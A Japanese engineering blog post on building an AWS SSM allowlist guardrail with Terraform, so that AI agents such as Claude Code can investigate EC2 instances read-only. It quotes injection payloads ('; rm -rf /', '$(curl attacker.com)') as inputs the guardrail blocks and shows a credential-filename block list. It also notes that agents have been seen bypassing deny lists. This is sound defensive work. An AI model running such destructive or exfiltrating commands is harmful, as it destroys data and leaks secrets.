🛡️

Claude CodeのようなAI エージェントにEC2を安全に調査させるSSMガードレールの設計

に公開

はじめに

SREチームの中島です。

現在、SREチームでは Terraform コードや開発プロセスだけでなく、普段の業務を広く AI エージェントでサポートさせることに取り組んでいます。
それらの流れの中で、各プロジェクトに適切な権限とガイドラインを与えることで、サーバーやクラウド内部の調査についても SRE が直接対応することなくサーバーエンジニア・クライアントエンジニア問わず、現場で調査できる環境が整いつつあります。

一方で、メトリクスではわからない EC2 インスタンスの内部調査が必要な例が本番・開発・社内ツールなど様々な場面で依然として発生しているのは皆さんご承知のとおりかと思います。
CPU を実際に食っているプロセスの調査、ディスク全体使用量ではなくどのファイルが問題になっているのか、Datadog や CloudWatch に出てこないエラーログファイルの調査、宛先のネットワークに本当に疎通できているのかの確認などが該当します。

これらの操作を Claude Codeのような AI エージェント経由で行う場合、SSH 接続や SSM Agent の利用が選択肢に上がりますが、任意のシェルコマンドを実行できてしまうような環境は、AI エージェントに渡す権限としては過剰です。
(deny にリストアップされたコマンドを回避して別のコマンドを実行し始めるエージェントを目にしたことは一度ではないと思います。)

本記事では、AI エージェント用のガードレールとして読み取り専用の許可リスト型 SSM Document を 実装することで、この課題にどう対処したかを簡単にまとめます。Terraform のサンプルコードも添付します。

全体の流れ

AI エージェントからのリクエストは、IAM Policy → SSM Document のパラメータ検証を通過して初めて EC2 上で実行されます。各段階で不正なリクエストはリジェクトされ、EC2 に到達するのは許可リストに含まれる読み取り専用コマンドのみです。

作ったもの

主に以下の 2 つのリソースを作成しました。

カスタム SSM Document

読み取り専用オペレーションのみを許可する SSM Document です。パラメータの allowedValues でオペレーションを、allowedPattern で全パラメータの入力文字を制限しています。

resource "aws_ssm_document" "this" {
  name            = var.document_name
  document_type   = "Command"

  content = yamlencode({
    parameters = {
      Operation = {
        type          = "String"
        allowedValues = ["disk-usage", "list-processes", "view-log", ...]
      }
      Directory = {
        type           = "String"
        allowedPattern = "^[a-zA-Z0-9_\\-\\./]+$"
      }
      Lines = {
        type           = "String"
        allowedPattern = "^[0-9]+$"
      }
      # ...
    }
    mainSteps = [{
      action = "aws:runShellScript"
      inputs = {
        timeoutSeconds = var.timeout_seconds
        runCommand     = [
          "case \"{{ Operation }}\" in",
          "  disk-usage)     df -h ;;",
          "  list-processes) ps aux --sort=-%cpu | head -30 ;;",
          "  view-log)       # 資格情報ブロック + パストラバーサル防止 ...",
          "  # ...",
          "esac",
        ]
      }
    }]
  })
}

SSM Document で実行できるオペレーションとして、例えば以下のようなものを設定します。

カテゴリ オペレーション 概要 主な用途
ディスク disk-usage df -h ディスク調査の第一歩
disk-usage-detail ルート直下のサイズ上位 20 件 原因ディレクトリの特定
disk-usage-shallow 指定ディレクトリ配下を深度指定 段階的な掘り下げ
ファイル list-dir ls -lah ファイルサイズ・日時確認
システム list-processes CPU 使用率順のプロセス一覧 高負荷の原因特定
system-info OS 情報 + uptime 基本情報の確認
memory-info free -h OOM の兆候確認
network-info NIC 情報 + Listen ポート ネットワーク状態確認
ログ list-logs /var/log 配下のログファイル一覧 どのログを見るか判断
view-log 指定ログファイルの末尾表示 エラーログの確認
パッケージ installed-packages インストール済みパッケージ一覧 脆弱性影響調査など
package-version java -version など 脆弱性影響調査など

すべて読み取り専用で、書き込み・削除を行うオペレーションは含まないものとしています。

実行者用 IAM Policy

AWS-RunShellScript の明示的 Deny と、タグベースのターゲット制限を含む IAM Policy です。

resource "aws_iam_policy" "ssm_executor" {
  policy = jsonencode({
    Statement = [
      {
        Sid      = "AllowSendCommandToDocument"
        Effect   = "Allow"
        Action   = ["ssm:SendCommand"]
        Resource = [aws_ssm_document.this.arn]
      },
      {
        Sid       = "AllowSendCommandToInstances"
        Effect    = "Allow"
        Action    = ["ssm:SendCommand"]
        Resource  = ["arn:aws:ec2:*:*:instance/*"]
        Condition = { StringEquals = {
          "ssm:resourceTag/AgentAccessible" = "true"
        }}
      },
      # ... GetCommandInvocation, DescribeInstanceInformation 等
      {
        Sid      = "DenyRunShellScript"
        Effect   = "Deny"
        Action   = "ssm:SendCommand"
        Resource = "arn:aws:ssm:*:*:document/AWS-RunShellScript"
      }
    ]
  })
}

この Policy は AI エージェントが調査に利用できる Readonly ロールに追加付与され、一貫した調査を可能としています。

セキュリティ上のポイント

IAM Policy: RunShellScript の明示的 Deny

カスタムドキュメントを用意しても、AWS-RunShellScript への SendCommand が許可されていれば意味がありません。IAM Policy の DenyRunShellScript ステートメントで明示的に Deny しています。明示的な Deny は他のポリシーの Allow をオーバーライドするため、確実に遮断できます。

SSM Agent が攻撃者に悪用されるリスクへの対策でもあります。

IAM Policy: タグベースのターゲット制限

AllowSendCommandToInstances ステートメントでは、ssm:resourceTag 条件により AI エージェントがアクセスできるインスタンスを明示的にオプトインしています。調査対象として意図しないインスタンスへのアクセスを防止できます。

SSM Document: allowedValues による allowlist

Operation パラメータの allowedValues は SSM の API レベルで検証されるため、リストにないオペレーション名はシェルに到達する前にリジェクトされます。deny リストではなく allow リストである点が重要で、AI エージェントが未知のオペレーション名を生成しても SSM が拒否します。

SSM Document: allowedPattern によるインジェクション防止

SSM の {{ Parameter }} はテキスト置換で、シェルメタ文字がそのまま実行されます。Directory や Lines 等の全パラメータに allowedPattern を定義することで、; rm -rf / や $(curl attacker.com) のようなパラメータを API レベルで遮断します。

Shell Script 内: 資格情報ブロック + パストラバーサル防止

allowedPattern は ../ を許可してしまいます(. / は正当な文字のため)。Shell Script 内で追加の検証を行っています。

# ファイル閲覧前の検証(view-log の例、概念コード)
LOGFILE="{{ LogFile }}"

# 資格情報ブロック
if [[ "$LOGFILE" == *credentials* ]] || \
   [[ "$LOGFILE" == *secret* ]] || \
   [[ "$LOGFILE" == *password* ]]; then
  echo 'Error: Cannot read potential credential files'; exit 1
fi

# パストラバーサル防止
FULLPATH="/var/log/$LOGFILE"
REALPATH=$(realpath -m "$FULLPATH")
if [[ "$REALPATH" != /var/log/* ]]; then
  echo 'Error: Path must be under /var/log/'; exit 1
fi

realpath でシンボリックリンクや .. を解決し、許可ディレクトリ外へのアクセスを遮断します。ブロック対象のファイル名パターンは Terraform 変数でカスタマイズ可能です。

ガードレールの全体像

ここまでの内容を整理すると、以下のようなレイヤー構成になっています。

防御対象 実装箇所 手段
RunShellScript 経由の迂回 IAM Policy Deny ステートメント
無関係なインスタンスへの横展開 IAM Policy ssm:resourceTag 条件
任意コマンド実行 SSM Document allowedValues で読み取り専用操作のみ許可
シェルメタ文字注入 SSM Document allowedPattern で全パラメータ検証
資格情報の窃取 Shell Script ファイル名パターンマッチ
ディレクトリ外への脱出 Shell Script realpath 検証
出力による DoS Shell Script max_output_lines で出力行数を制限
コマンドのハング SSM Document timeoutSeconds で強制終了

IAM Policy と SSM Document によるガードレールは AWS のサービスレベルで検証されるため、シェルスクリプトに到達する前にリジェクトされます。Shell Script 内の検証はその上での追加防御です。

また、SSM Run Command 経由の実行はすべて CloudTrail および SSM の Run Command 履歴に記録されます。SSH でログインされた場合の操作ログ保全と比較して、完全な証跡が自動的に残る点も SSM を採用するメリットです。

まとめ

運用所感

AI エージェント(Claude Code)に、何らかの手掛かり(ログ、メトリクス)からインスタンスの特定、ログの直接調査などの一連のタスクを人の介入なく任せることができます。
SRE 自身の調査タスクも楽になりますし、サーバーエンジニア・クライアントエンジニアが SRE を介さず一時調査を進められるようになりました。
社内ではこれらを Terraform module 化し、複数プロジェクトに展開しています。

AI エージェントのローカル設定(allow リストや system prompt)に制御を任せると、設定の未適用や意図的な迂回が起こり得ます。SSM の allowedValues / allowedPattern はクラウド側の API レベルで検証されるため、エージェント側の設定に依存せず、実行されるコマンドそのものを制御できます。

AI エージェントへの SSH ログイン権限の配布やコマンド制限などはすでに仕組みがあったとしても非常に大掛かりな仕組みの改修が発生すると想像できます。
一方、クラウドへのログイン権限の管理については社内の認証基盤やユーザー管理と連携していることも多く、その既存の仕組みに一部権限を付与するだけであれば、より使い始めるハードルが低いものかと思います。

課題・今後

現状は allowlist 運用であることから、オペレーションの追加には SSM Document 側の変更が必要であり、これらのメンテナンスコストを継続できるかどうかは不明です。
AI エージェント周りのエコシステムの進化は著しいため、AWS SSM MCP Server や AWS DevOps Agent によってこのような仕組みがサポートされる可能性もあると思っています。
当面の間は、エージェントを基本とした実運用を続けてみて、今後起こりうる問題点を把握していくための期間として割り切っています。

ここまでお読みいただきありがとうございました。

参考ドキュメント

アプリボット

Discussion